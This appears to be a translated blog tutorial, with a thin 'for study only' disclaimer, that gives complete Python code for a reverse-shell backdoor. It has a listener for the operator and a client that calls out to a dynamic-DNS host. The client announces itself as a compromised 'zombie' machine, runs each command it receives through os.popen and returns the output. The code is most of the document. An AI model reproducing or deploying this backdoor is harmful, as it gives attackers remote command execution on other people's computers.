Article Directory
Disclaimer: This article is only for the study and communication of network security. Any operation has nothing to do with the author.
Please abide by the laws and regulations of our country
1. Tools & Environment
- Python 3
- Peanut shells
- Remote calculator
2. Experimental principle
Three, write script
If an error occurs, please change the encoding method, such as: gb18030, gbk, etc.
Ⅰ. Server server
import socket
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
serveraddr = ("",14444)
server.bind(serveraddr)
server.listen(5)
#多客户端连接循环
#服务器使用新套接字通信
while True:
print("Waiting for connecting...")
#等待连接,成功显示客户端IP
newsocket,clientaddr = server.accept()
print("From{},".format(clientaddr),end="")
#客户端循环输入cmd命令
while True:
#显示客户端返回的内容
data = newsocket.recv(1024)
print(data.decode())
#发送CMD
cmd = input("msf>>>")
newsocket.send(cmd.encode())
#退出当前客户端的连接,break后等待新客户端的连接
if cmd == "exit":
#关闭远程CMD
exit_data = newsocket.recv(1024)
print(exit_data.decode())
break
Ⅱ. Client
import socket,os
client =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#填写花生壳IP和端口
serveraddr = ("xxx.xicp.net",12345)
client.connect(serveraddr)
#发送连接成功提示
client.send("肉鸡上线".encode())
while True:
#接收新套接字
newsocket = client.recv(1024)
#解码得到CMD
cmd = newsocket.decode()
#break关闭连接并提示
if cmd == "exit":
client.send("肉鸡断开链接...".encode())
break
#判断命令是否可执行
if len(cmd)>0:
#os执行
cmdres = os.popen(cmd)
client.send(cmdres.read().encode())
cmdres.close()
else:
client.send("{}无效".format(newsocket.decode()).encode())
client.close()
Be vigilant and do not install software from unknown sources
Finish
Welcome to leave a message in the comment area.
Thanks for browsing